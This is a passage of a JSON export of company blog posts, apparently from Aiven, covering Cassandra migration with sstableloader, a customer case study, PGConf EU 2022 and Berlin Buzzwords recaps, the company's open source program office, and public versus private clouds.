Tisiot](https://www.youtube.com/watch?v=njvH3I39Dv0\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR\u0026index=49 \"this engaging session by our colleague Francesco Tisiot\"). Francesco explains how recursion works in PostgreSQL with an interesting example of solving the knapsack problem. \n\n*Session recordings are already available to binge-watch in the [Berlin Buzzwords 2022 YouTube playlist](https://www.youtube.com/watch?v=oTZyGkG4uTA\u0026list=PLq-odUc2x7i8eaYHVXSOadHrVE9tEU2QR \"Berlin Buzzwords 2022 YouTube playlist\").*\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844-png","_type":"reference"}},"publishedAt":"2022-06-23T00:00:00.000Z","seo":{"metaDescription":"Our team was thrilled to be back in person at Berlin Buzzwords 2022. Read on for a recap of our favourites on storing, processing, streaming and searching data.","metaImage":{"alt":"","asset":{"_ref":"image-d16e9efef6bf4b760f0318b3aab2fb01270397dc-1567x844-png","_type":"reference"}},"metaTitle":"Highlights from Berlin Buzzwords 2022"},"slug":{"_type":"slug","current":"/blog/highlights-from-berlin-buzzwords-2022"},"subtitle":"Our team was thrilled to be back in person at Berlin Buzzwords 2022. Read on for a recap of our favourites on storing, processing, streaming and searching data.","title":"Highlights from Berlin Buzzwords 2022"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"31KO0a4ngqFD8DZLjKKkti","_rev":"4DA7uzMe7PWND6MELryftU","_type":"post","_updatedAt":"2022-10-25T08:40:21Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports sstableloader, an open source utility which allows you to easily migrate all of the data from your external Apache Cassandra instances into a managed Aiven for Apache Cassandra cluster. Sstableloader allows this seamless migration by [bulk-loading data](https://help.aiven.io/en/articles/3147884-using-sstableloader-to-migrate-your-existing-cassandra-cluster-to-aiven) from remote SSTables into an Aiven for Apache Cassandra cluster via the target nodes’ internode ports.\n\n## How sstableloader works\nAn SStable is a persistent, immutable file format where your Apache Cassandra data is stored. It is created when fast memory stores called memtables are flushed to disk. Sstableloader works by first connecting to the new Cassandra cluster to determine which nodes of the target cluster should receive which rows, then uploading the SSTable data to the target nodes.\n\n![migrating cassandra into aiven using sstableloader](https://cdn.sanity.io/images/sczeoy4w/production/24188ee23b4832f0cf0b0fe133401d07d7f4d532-2000x1125.png)\n\n\nThis data upload - called streaming - is implemented as a command line client using the same Java code the Cassandra service uses internally to replicate data between cluster nodes, connecting to the Cassandra internode port to achieve a more efficient way to transfer large amounts of data.\n\nClients cannot normally connect to this internode port, and Aiven requires sstableloader to connect with SSL through client certificates to secure access. As a result, large clusters for which inserting the source cluster's data row by row with CQL would take unfeasibly long can now be migrated.\n\n## Wrapping up\nWith sstableloader, you now have the industry standard for bulk data loading into Apache Cassandra which makes migrating your full data pipeline to Aiven that much simpler.\n\n\u003e You can find the [complete procedure](https://help.aiven.io/en/articles/3147884-using-sstableloader-to-migrate-your-existing-cassandra-cluster-to-aiven) here.\n\nWe’re always adding more features to the Aiven platform, so stay up to date with our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844-png","_type":"reference"}},"publishedAt":"2019-07-31T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"You can now simply and quickly migrate your external Apache Cassandra® data into Aiven using sstableloader; learn about the specifics in this post.","metaImage":{"alt":"","asset":{"_ref":"image-e39b3fa7fa1d871663e79de4a34bc4b862df9f9a-1567x844-png","_type":"reference"}},"metaTitle":"Migrate your Apache Cassandra® data into Aiven with sstableloader"},"slug":{"_type":"slug","current":"/blog/aiven-now-supports-sstableloader"},"subtitle":"Find out how to simply and quickly migrate your external Apache Cassandra® data into Aiven using sstableloader.","title":"Migrate your Apache Cassandra® data into Aiven with sstableloader"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7ckc9NYvYgOTps1yiT2Vbk","_rev":"4DA7uzMe7PWND6MELryuf0","_type":"post","_updatedAt":"2022-10-25T08:42:09Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"With 114,000 employees across 32 companies in 15 countries, ADEO is the third largest global player in the home improvement market with over 450 million customers from more than 700 stores around the world. \n\nFounded in 1986, the ADEO group has evolved from a loosely-federated collection of independent stores to a conglomerate powered by a single data platform requiring the sort of tight integration that enables comprehensive insights.\n\nAlthough the databases and middleware team still supports thousands of on-premise database instances, they now use Aiven's hosted services (including Apache Kafka, PostgreSQL, Elasticsearch/OpenSearch, MySQL and Redis) to provide database and messaging services to internal users across the company. Their head, Julien Charlot, explains: \n\n\u003e I don't want to manage infrastructure anymore, so the role of our team nowadays is to make it easier to go to the cloud. It’s more that we want our tech guys to get rid of infrastructure tasks and be able to focus on dev and added value actions. \n\nBut that isn’t the only reason ADEO group enjoys Aiven's hosted services. Download the case study below to find out why else and how they transformed their data capabilities at scale using the Aiven platform.\n\n::banner{ctaText=\"Read case study\" ctaLink=\"/case-studies/aiven-cloud-helps-adeo\" title=\"Find out more about how ADEO transformed their data capabilities at scale using the Aiven platform.\"}\n\nTo see more Aiven case study summaries, check out the [Aiven case studies](https://aiven.io/case-studies) page. And don’t forget to subscribe to our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds, or follow us on [Linkedin](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io).\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405-png","_type":"reference"}},"publishedAt":"2020-02-03T00:00:00.000Z","seo":{"metaDescription":"Find out how and why the third largest global player in the home improvement market use Aiven.","metaImage":{"alt":"","asset":{"_ref":"image-4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405-png","_type":"reference"}},"metaTitle":"Adeo takes development speed to new level with Aiven [Case Study]"},"slug":{"_type":"slug","current":"/blog/adeo-and-aiven-case-study"},"subtitle":"Find out how and why the third largest global player in the home improvement market use Aiven.","title":"Adeo takes development speed to new level with Aiven [Case Study]"}
{"__i18n_lang":"en","_createdAt":"2022-11-03T08:24:35Z","_id":"0f535739-8443-49d6-89b1-c9d898799ad5","_rev":"OSa4Of7leLeKOMRysnpzo0","_type":"post","_updatedAt":"2023-06-08T08:12:28Z","authors":[{"_key":"ad83127a6687","_ref":"5JCxTNOGlqEWGCJILDlrdc","_type":"reference"},{"_key":"f4488456fb76","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},{"_key":"a0b3e9d435c6","_ref":"5NzxBK7UvFN976uA2uGF66","_type":"reference"}],"body":"It’s been a busy events season for our team so far! And of course, we couldn’t miss out on the 12th annual PostgreSQL Conference in Europe that took place on October 25-28 in Berlin, Germany. Our team ventured out to meet the Postgres community (in-person, for the first time in a while!), give talks, and participate in exciting discussions around PostgreSQL® use cases and latest developments. In case you didn’t attend the event or already miss the best moments, we’ve picked out our favorite sessions below, listed in chronological order! \n\n### Trends in the PostgreSQL® community\n\nTechnical events like PGConf EU are typically packed with in-depth content that helps us discover trends and understand the inner workings of the tool. Discussions about advanced observability, performance improvements and tooling proliferated in and out of the session rooms.\n\nPostgreSQL® extensions deserve a special shoutout! We continuously see new ones being added or improved, making developers and DBAs lives easier in terms of functionality, backups or migration.\n\nOne specific trend we observed about the PostgreSQL® community: the number of active users, participants in public forums, and contributors is steadily increasing. Activities like [Google Summer of Code](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3889-gsoc-2022-overview/) are helping a wider audience get involved in PostgreSQL®, providing the project with a fresh and innovative pair of eyes and hands.\n\n### Keynote: Efficient Graph Analysis with SQL/PGQ\nIt wouldn’t be an event recap if we didn’t start with a keynote, would it? Luckily, the keynote at PG Conf EU 2022 was exceptional! Peter Boncz kicked off the conference with an [interesting discussion](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/4072-efficient-graph-analysis-with-sqlpgq/) on efficient analytical and graph queries in relational database systems. Specifically, he deep dived into SQL/PGQ, which will add property graph query support in the upcoming SQL:2023 standard. \n\n![Packed audience watching keynote speech](https://cdn.sanity.io/images/sczeoy4w/production/314ebdfc4f8d1aed7a6d3b4c623f30ebbf2f89ac-1286x644.png)\n\nOn a similar subject, our Senior Developer Advocate, Francesco Tisiot, showed how valuable a graph data approach can be for managing service metadata, and how PostgreSQL® recursive queries can help us with that. This is part of the metadata parser project, which is open source and available on [GitHub](https://github.com/aiven/metadata-parser).\n\n### BRIN Improvements and new opclasses\n[Tomas Vondra’s talk on BRIN](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3864-brin-improvements-and-new-opclasses/) (Block Range Index) gave us some really interesting insights. Firstly, Tomas explained how BRIN indexes work to those who are new to them, and then proceeded to share the recent features that came out in PostgreSQL® 14, specifically the minmax-multi and bloom opclasses - those are clever tricks to make BRIN indexes more useful! Naturally, Tomas ended the talk with a demo and discussion on the future ideas for improving the indexes even more. We hope many of you will look into this area of PostgreSQL® and contribute with your ideas! \n\n### PostgreSQL® at GitLab.com\nFor those who are hungry for some PostgreSQL® use cases, [the one presented by Alexander Sosna and Jose Finotto from GitLab](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3832-postgresql-at-gitlabcom/) was totally worth listening to. Alexander and Jose particularly focused on the specific problems with monitoring and how PostgreSQL® statements such as `pgexporters` and `pg_stats` can be used for monitoring. \n\n![Audience watching GitLab speaker present](https://cdn.sanity.io/images/sczeoy4w/production/69acfc2b7e21edc5fc0ebe1c1340e30af55de980-1282x814.png)\n\nIf you’ve listened to their [PGConf.DE 2022 talk](https://www.postgresql.eu/events/pgconfde2022/schedule/session/3759-postgresql-at-gitlabcom/), you might be interested to know the outcome of the in-flight decomposition project where they took a huge database and were able to divide workloads and serve them in appropriately sized instances.\n\n### Party tricks for PostgreSQL®: `perf`, `ftrace` and `bpftrace`\n[Dmitrii Dolgov walked us through a very fast-paced tour](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3861-party-tricks-for-postgresql-perf-ftrace-and-bpftrace/) of the possibilities offered by `perf`, `bpftrace` and `ftrace`. Those tools can be seen as low-level magic, but Dmitrii demonstrated simple one-liners and explained how they work, including a presentation of the kernel infrastructure. \n\nBeing able to captivate an audience with such an in-depth yet fast-paced technical talk is quite a feat, and this was probably one of the most compelling talks for our team! (Presumably, we’re biased since our PostgreSQL® Developer, Ronan Dunklau, [talked about the same tools](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3926-building-a-perf-like-tool-for-postgresql/) on the last conference day 😉).\n\n### Neon, cloud-native storage backend for PostgreSQL®\nWe were curious to listen to [Heikki Linnakangas’ technical presentation](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3934-neon-cloud-native-storage-backend-for-postgresql/) on the differences between his new product, Neon, and PostgreSQL®. Neon can be seen as an open-source competitor to Aurora, and it offers very unique features such as immediate branching and flashback queries. For the sake of keeping it short, we won’t get into an in-depth architectural overview here (although it was interesting to hear!). What we found particularly fascinating was the way Neon stores and indexes WALs, which makes it possible to rebuild any block at any point in time! This can potentially serve some great use cases, such as restoring only specific blocks, speeding up the backup and/or recovery process, and more.\n\n### MVCC Unmasked\nIf you didn’t know about MVCC (multiversion concurrency control) before, [Bruce Momjian's talk](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3789-mvcc-unmasked/) was particularly helpful as it explored one of the most fundamental architectural decisions of PostgreSQL®. A good chunk of the talk was dedicated to the basics of MVCC, which despite being a complex topic Bruce managed to make palatable to the audience, taking questions as he went. Bruce finished the talk by explaining briefly how the more complicated parts of MVCC work (`cmin`, `cmax`, HOT updates, `VACUUM`) but keeping his very entertaining tone. We recommend checking out the [slides](https://momjian.us/main/writings/pgsql/mvcc.pdf) to learn more. \n\n### Implementing failover of logical replication slots in Patroni\n[This talk by Alexander Kukushkin](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3990-implementing-failover-of-logical-replication-slots-in-patroni/) presented a nice trick, which is that all the infrastructure for maintaining logical replication slots on a standby is already here! It’s a hidden PostgreSQL® feature, in the sense that it’s not properly documented and it doesn’t provide you with any way of creating the logical replication slot, but it proves to be really useful in high availability scenarios.\n\n### Full Page Writes in PostgreSQL® - Critical, Evil or Both - Why you should care and how to optimize\n[Grant McAlister provided us with an extensive set of benchmark results](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3950-full-page-writes-in-postgresql-critical-evil-or-both-why-you-should-care-and-how-to-optimize/) showing how different PostgreSQL® tuning parameters can reduce the amount of full page writes, and how they can be detrimental to the overall performance of the system. One of the most interesting things he mentioned was how full page writes tend to have some sort of snowball effect, with more of them generating more WAL entries, which in turn tends to trigger checkpointing more often, which in turn makes full page writes more likely.\n\n### Reach a wider audience with your PostgreSQL content\nHow can you provide a service to the ENTIRE PostgreSQL community during a talk? Ask Claire Giordano. In “[How to make your Postgres blog posts reach a ton more people](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3980-how-to-make-your-postgres-blog-posts-reach-a-ton-more-people/)“ she shared tips, checklist and, in general, food for thought on how little details can get a piece of content to a wider audience.\n\n### Honorable mentions\nThe three days of conference were packed with excellent technical content, all about PostgreSQL®. Naturally, we couldn’t include everything, but it’d be a shame not to mention the breakfast organized by [Postgres Women](https://twitter.com/PostgresWomen). Aiven was one of the sponsors this year and we were lucky to meet some amazing women in the Postgres community! \n\nIt was also great to see some more familiar faces at the event. Some of the recent Uptime speakers also presented at this Postgres conference, so shout out to [Henrietta Dombrovskaya](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3831-changelog-vs-two-dimensional-time-what-works-better/), [Karen Jex](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3820-unlocking-open-data-using-an-open-source-database/), [Kirk Roybal](https://www.postgresql.eu/events/pgconfeu2022/schedule/session/3820-unlocking-open-data-using-an-open-source-database/)! \n\nSadly, the conference talks weren’t recorded, but the slides are already available for almost every talk - be sure to check them out. We’ll be looking forward to the next PGConf EU event, so until next time!\n","categories":[{"_key":"c97c2ef67208","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"846f65959faf","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","alt":"Text says \"PGConf EU 2022 in a nutshell\". And there's a picture of a happy elephant.","asset":{"_ref":"image-b2c53069e6f8b2735762db20a1500dbe124df3fc-3133x1688-png","_type":"reference"}},"publishedAt":"2022-11-03T08:22:00.000Z","seo":{"_type":"metaData","metaDescription":"The 12th annual PostgreSQL® conference took place on Oct 25-28 in Berlin. Learn about trends and latest developments in the Postgres community in this recap.","metaImage":{"_type":"mainImage","alt":"Text says \"PGConf EU 2022 in a nutshell\". And there's a picture of a happy elephant.","asset":{"_ref":"image-b2c53069e6f8b2735762db20a1500dbe124df3fc-3133x1688-png","_type":"reference"}},"metaTitle":"PG Conf EU 2022 in a nutshell | Key highlights | Aiven"},"slug":{"_type":"slug","current":"/blog/pg-conf-eu-2022-in-a-nutshell"},"subtitle":"PG Conf EU 2022 was a blast! Our team wrote this recap highlighting our favorite sessions and trends in the PostgreSQL® community we observed. ","title":"PG Conf EU 2022 in a nutshell"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"41CJPFxYD9orHdvISHink9","_rev":"RAyRTsSFAoDoj6Nvfq2kIx","_type":"post","_updatedAt":"2022-11-25T09:00:09Z","authors":[{"_key":"6kbIS9XcSGAirsTtwXqhdf","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"# Open Source Program Office at Aiven: A year later\n\nA year ago, Aiven raised [$100M in a series C investment round](https://aiven.io/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation) which put the company valuation around $800M, and recently achieved a $2B unicorn valuation having raised $210M total funding. One of the important reasons for raising that round was to increase our impact in the Open Source communities.\n\nOne of our first actions was to create the Open Source Program Office (OSPO for short), a department whose work is exclusively dedicated to contributing to open source projects. The team went from just a pair of people to double the size several times, always growing at a sustainable pace.\n\n## Why OSPO?\n\nThe mission of Aiven's OSPO is simple:\n\n\u003e Ensure the sustainability and secure the future of the Open Source Software infrastructure Aiven uses.\n\nAiven has always contributed back to open source, since the very early days when Aiven consisted of four founders only. Contributing to upstream OSS projects was the most normal thing to do, it was nothing special or something to discuss, and patches were always to be contributed back. As Aiven continued to grow, this part of the culture stayed, but at the same time, it became apparent that keeping a constant stream of contributions to upstream projects while delivering a successful product was challenging.\n\nWith the creation of a dedicated team, we wanted to ensure that our commitment remains at the level that the key OSS projects in our infrastructure deserve.\n\n## What does the OSPO do?\n\nEach member of the OSPO team focuses on a specific project, for example, Apache Kafka®, Apache Flink®, PostgreSQL®, M3, or OpenSearch®, among others. But the OSPO members are not the only ones contributing upstream, every single person at Aiven is welcomed and encouraged to do so.\n\nAiven's OSPO team has responsibilities in three main areas:\n\n* Contribute to OSS projects\n* Foster an OSS culture within Aiven\n* Ensure legal compliance\n\n### Contribute to 3rd party OSS projects\n\nThis is where the team spends most of its time. Each team member can decide the tasks and focus areas; the only criteria is the impact on the community. Their contributions are not limited to the core products, but any project in their ecosystem (plugins, connectors, underlying libraries...). Each team member is also a member of the community, so they have an inside view and can evaluate the potential impact of the tasks they are working on.\n\nWe especially emphasize getting rid of technical debt, as these tasks are usually not picked up by people working on OSS during their free time. These type of tasks has a good ratio of time invested vs. returns in the area of maintainability.\n\nOur work on 3rd party OSS projects is not limited to contributing new features, bug fixes or cleaning technical debt. One crucial part is reviewing existing code submissions from the community. We understand maintainers' workload is usually several orders of magnitude higher than what one person can tackle, so we do what we can to share it.\n\nWe want to ensure that any OSS project Aiven depends on has enough people working on it. This is the best way to ensure project stability. The more companies that would do this, the better the OSS ecosystems get, in that their existence will not depend on single individuals or single companies.\n\nOur work in this space is guided by the following principles:\n\n* Community first: the work we choose should benefit the community.\n* Be reputable: we work towards developing a reputation for reliability, usefulness, enthusiasm, expertise, and availability.\n* Be transparent: there are no hidden intentions behind our work and we are transparent on our affiliation.\n* Beyond code production: our work is not just submitting patches, but also reviewing patches, answering questions, writing blog posts, presenting at conferences and sharing our knowledge by any available means.\n\n### Foster an OSS culture within Aiven\n\nAiven is not just a consumer and contributor to OSS, but also a producer. The OSPO team is an integral part of the process, starting from the moment the teams decide they want to open source a given project and also during all the project lifecycle.\n\nThe OSPO team makes sure each member of our organization is aware of the power and importance of OSS. We work closely with Engineering, Product and Developer Relations teams to identify opportunities for open sourcing internal projects that may benefit the community - not just users of the Aiven platform, but anyone using the underlying OSS technologies.\n\nOne important initiative at Aiven that helps to foster OSS culture and mentality is our Plankton Program. We offer monetary compensation for all Aiven employees who decide to spend some of their free time working on open source projects. And this is not limited to just writing software, but any type of work done in open source: from contributing to programs like [Common Voice](https://commonvoice.mozilla.org/en), to writing articles in Wikipedia, or doing some project management for an existing open source.\n\nThe OSPO team is not the _\"team that does open source at Aiven\"_. We're the team that multiplies open source at Aiven.\n\nAdditionally, together with our product teams, we maintain the open source projects under Aiven's umbrella. We make sure those projects are community friendly. The work we do goes beyond providing code. We offer guidance and structure around governance, project management, licensing, and community engagement.\n\n### Ensure legal compliance\n\nAs a consumer and producer of open source, Aiven needs to ensure all our software is compliant with all legal aspects involving licenses, trademarks, and contributor agreements. To do this we resort to a great team of experienced lawyers who help us navigate relevant legal frameworks.\nTo succeed in this area we need to know our full dependency tree. The Software Bill Of Materials (SBOM) is a tremendously useful tool that helps analyzing and auditing the dependency tree of given software.\n\nHaving this information is crucial to determine which projects are in our supply chain and which ones we deem might need some help.\n\n## Lessons learned\n\nDuring this first year at OSPO, we have learned several important things. To help others follow in our footsteps, we want to share them with the world.\n\n### Hiring\n\nCompanies have been hiring for product development roles for a long time, and one might think that creating a team for the OSPO might be only slightly more complicated. However, as we were building an OSPO whose focus was 3rd party OSS projects, we needed a different type of developer.\n\nCurrent software development optimizes for turn-around time: how fast can I get feedback on the feature I'm working on right now. This means that our industry focuses on aspects like incremental development, continuous integration and continuous deployment, early feedback, and listening attentively to users.\n\nWhile we believe this is a great way of developing products (Aiven focuses on those same terms for our product), applying it to 3rd party OSS development won't yield the expected results as delivery happens at the community level (either via Project Management Committees or via different means of consensus in the community). We need to find ways of working (and developers that are effective under this) that accommodate the fact that the timings and even deciding if changes get incorporated happen outside of the team and even the company.\n\nInstead we need to look for developers who:\n\n* Understand the timings of OSS\n* Are resilient (some change requests will be rejected, and many will take a long time to incorporate)\n* Understand the needs of the community\n* Know how to prioritize their work\n\nAlso, it goes without saying that we needed to go fully remote: instead of expecting the talent to come to us, we want to go where the talent is.\n\n### Management style\n\nThere are lots of management styles, and the type of management we need to succeed with 3rd party OSS differs from the mainstream. We learned that delivery can't be the responsibility of the manager when working with 3rd party OSS, because project governance is driven outside the company, far from the reach of the managers. This means we need to focus on enablers, true multipliers that make people perform at their full potential.\n\nAnother crucial aspect is to find managers that are completely comfortable in not being the expert in the room. More often than not, managers know only the superficial aspects of the technologies their team is working on. When one is a manager of a team working on PostgreSQL®, Apache Kafka® and OpenSearch®, it's clear that they will never be experts in all these areas, and maybe some of them are only known to them from a user perspective.\n\n### Performance reviews\n\nThe eternal question is how do we measure success? This is already a complicated question in software engineering in general, but when the team whose success we need to evaluate contributes to 3rd party OSS, it just gets more complex.\n\nThe first thing we need to acknowledge is that the time scale of the development process doesn't belong to us, but to the whole community. How can we then use metrics like \"number of features released\" or \"time to deploy\"? In short, we can't. We need to move away from such metrics and concentrate on measuring things we have the full control on. For example, a set of metrics that are useful for us are:\n\n* Number of issues worked on\n* Number of reviews on patches\n* Knowledge shared (blogs, conference talks, mailing list engagement...)\n\n## Next year\n\nThis was a wonderful year, we built up the team from the ground up and had a real impact on the projects we worked on. Since we proved to ourselves we can do this, we want to double down for the year to come.\n\nWe want to double our size and increase the reach and breadth of our team (more projects and more people per project). Our synergies with the product teams generated way more OSS projects that we expected, so we want to also put some more effort in this area. We want to make sure that the majority of our OSS projects are welcoming external contributors and foster a safe place for people to form communities around them.\n\nBut all this couldn't be done without the great help from our Engineering teams and our Developer Relations team. Don't forget to check out our open positions [here](https://aiven.io/careers)!\n\nTo another year, of many more, of successful contributions to open source!\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844-png","_type":"reference"}},"publishedAt":"2022-04-13T00:00:00.000Z","related":[{"_key":"460f6558db2f","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"},{"_key":"01a8d8851a90","_ref":"6xsLe60xhyOugnLw9yg8Uc","_type":"reference"},{"_key":"643a9d75953e","_ref":"25GCqENl5povl8r1ZHNXOy","_type":"reference"}],"seo":{"metaDescription":"Aiven's OSPO is now one year old. Find out what OS Engineering Manager Josep Prat and his team have learned about setting up and running the function.","metaImage":{"alt":"","asset":{"_ref":"image-c91ee809bea87ccac7cb3046cbb2ed2559c9663e-1567x844-png","_type":"reference"}},"metaTitle":"Open Source Program Office at Aiven: A year later"},"slug":{"_type":"slug","current":"/blog/open-source-program-office-at-aiven-a-year-later"},"subtitle":"Aiven's OSPO is now one year old. Find out what OS Engineering Manager Josep Prat and his team have learned about setting up and running the function.","title":"Open Source Program Office at Aiven: A year later"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4TJexxTlV2pemE4b1lWFPp","_rev":"4xxJDWP8Sw6o7zBrUAiKq7","_type":"post","_updatedAt":"2023-08-03T10:37:05Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Recently Aiven conducted a market study, and one question asked about the respondent’s company’s current cloud arrangements. Given that we’re quite familiar with the terrain, we were a bit startled that 61% of respondents stated that their data was stored in a private cloud. The same held true even in industries where we were pretty sure that couldn’t be the case. \n\n![Infographic](//cdn.sanity.io/images/sczeoy4w/production/78ca221848d6254f3cf65576719f33cb45a7938d-1567x844.jpg \"Aiven's market study results: where most data is stored in organisations\")\n\nSo we went back to take a critical look at what we’d actually asked. It turned out that the question was open to misinterpretation. Some respondents had perhaps made a finer distinction between cloud types than intended. Maybe they had talked about *virtual private clouds*, which we hadn’t provided as a separate option.\n## What is a public cloud? How is a private cloud different?\n\nTo get started with the terms, note that for one thing, a public cloud is not public. And a private cloud is not private.\n\nIf your data lives in a public cloud, that doesn’t mean your data is publicly accessible, flapping in the wind. Similarly, if your data is in a private cloud, it doesn’t imply that the data is permanently hidden from outsiders.\n\nInstead, a public cloud is a service that is made publicly available by the company providing that service. A private cloud, in the meanwhile, is a cloud created by a company for its own use. \n\nThink of it like a public airline versus a private jet. Anyone can fly on a public airline if they buy a ticket. Even so, members of the public can’t just wander onto airplanes demanding to be flown to Sydney or Berlin. Nor can they browse passenger manifests or make off with other people’s luggage. A private jet, on the other hand, is like a private cloud: you bought it, you pay for its maintenance, you employ a pilot or fly it yourself. In exchange, you can furnish your jet how you wish, have complete privacy, and fully control who else can fly with you.\n\nYes, the terminology is confusing. It would make more sense to call public clouds “managed clouds”, for example. But what can you do, the term is out there.\n## So how does it work?\nA __public cloud__ runs on hardware provided by an external company. It uses networks and software provided by either the same company or one or more other companies. The user company purchases the service for a set sum. Depending on the service type, they receive access to the hardware, networking and software as well as the maintenance and upgrade tasks related to all those elements. Your data itself remains private, and the cloud company takes great pains to ensure that.\n\nA __private cloud__, in contrast, runs on hardware, networking and software purchased, installed and managed by the company that uses it. This way, the company retains full control over who can access which parts of their data. They can also control the physical location of the hardware. A fully private cloud is something mostly larger companies find it feasible to maintain. \n\nA mix of these two is a __hybrid cloud__. There some of the infrastructure is internal to the user company and some (for example, data storage) is purchased from an outside vendor. Hybrid clouds come in many shapes and configurations, and they all try to leverage the best properties of both types of cloud. The results are often, well, mixed. A hybrid cloud can end up being as expensive and complicated to maintain as a private one.\n\nSo far so clear, right? Sorry, but we still haven’t covered virtual private clouds!\n## Virtual private clouds - privacy in the public sphere\nA virtual private cloud (VPC) is a pool of resources that lives inside a public cloud, isolated from all other VPCs. The resources in one VPC are reserved for one single organization and can be customized in various ways. It uses a private IP subnet and its parts communicate via a private communication network (like a VLAN). Remote access is provided through a VPN. \n\nThe effect is that of a cloud-in-a-cloud where no part of the resources of the VPC touches any other part of the cloud infrastructure. So the VPC is a private cloud… inside a public cloud. We count that as a public cloud, because we’re a cloud service provider. For our friends in other industries, though, it looks quite a lot like a private cloud, since no one else can get in, and when suddenly asked, they may well classify it as such.\n\n## Come to the public side (We have cookies!) \n\nWe’ve [written before](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service \"12 reasons you(r) boss should choose a public cloud service\") about why we think [managed cloud services are the way forward](https://aiven.io/blog/dbas-shouldnt-be-afraid-of-managed-services \"DBAs shouldn't be afraid of managed services\") for most companies. Given that Aiven provides a comprehensive range of public cloud services, this opinion probably doesn’t come as a surprise. Our managed services are easy to get started with and simple to scale up or down. Step on board with us!\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844-png","_type":"reference"}},"publishedAt":"2021-03-04T00:00:00.000Z","seo":{"metaDescription":"When is your public cloud actually private? Sorry, that’s a trick question! Read on to understand the difference between public and private in cloud computing.","metaImage":{"alt":"","asset":{"_ref":"image-8619c10626c6875fb0cac5749cc5d1c0df493545-1567x844-png","_type":"reference"}},"metaTitle":"Public cloud v. private cloud - what’s the difference?"},"slug":{"_type":"slug","current":"/blog/public-v-private-clouds-whats-the-difference"},"subtitle":"When is your public cloud actually private? Sorry, that’s a trick question! Read on to understand the difference between public and private in cloud computing.","title":"Public cloud v. private cloud - what’s the difference?"}
